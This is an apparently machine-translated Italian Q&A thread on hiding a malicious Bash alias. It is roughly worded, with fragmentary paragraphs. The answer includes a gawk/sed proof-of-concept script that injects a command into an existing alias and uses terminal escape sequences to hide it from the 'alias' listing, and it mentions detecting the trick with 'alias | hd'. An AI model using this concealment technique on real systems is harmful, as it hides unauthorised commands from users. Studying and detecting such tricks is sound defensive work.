È possibile nascondere l'esistenza di un alias dannoso in Bash su un sistema Linux e farlo eseguire a sua insaputa?
È possibile nascondere l'esistenza di un alias dannoso in Bash su un sistema Linux e farlo eseguire a sua insaputa?
Risposte:
È possibile farlo aggiungendo l'alias esistente a quello dannoso e usando il movimento del cursore per nasconderlo se il alias
comando viene utilizzato per visualizzare le definizioni di alias. Non è un metodo perfettamente infallibile, ma potrebbe non essere rilevato per un po '. Tubazioni alias
attraverso hd
vi mostrerà se ci sono sequenze di escape (movimento del cursore) nei vostri alias. Ecco una dimostrazione del concetto di come un comando dannoso potrebbe essere inserito in un alias:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
comando modifica un file chiamato "alias" sul posto - un vero script di questo tipo andrebbe per la gola e modificerebbe un vero file di script in modo che l'alias dannoso venga attivato alla successiva esecuzione.hide
come argomento, quindi è concepibile che tu possa ottenere un errore simile a quello riportato in questa domanda . Potrebbe essere possibile invertire le parti originali e dannose per influire su ciò, sebbene ciò interferirebbe con gli argomenti forniti all'alias. Viene effettuato un tentativo nello script sopra per contrassegnare la fine degli argomenti con --
.&&
, si potrebbe pipe uno all'altro e rendere lo script dannoso (rappresentato sopra con il semplice echo
comando) funzione come stdin
al stdout
pass-through o per modificare i dati come sta andando attraverso o per nascondere il suo esistenza ulteriormente non interferendo con altri reindirizzamentihide
stringa potrebbe essere modificata per includere diversi movimenti del cursore e il testo dell'alias originale in modo che il alias
comando sembrerebbe mostrare l'alias non modificato invece di nasconderlo insieme alla parte dannosa.. aliases
. Quindi puoi provare a utilizzare l'alias interessato e vedere come appare quando lo fai alias|hd
.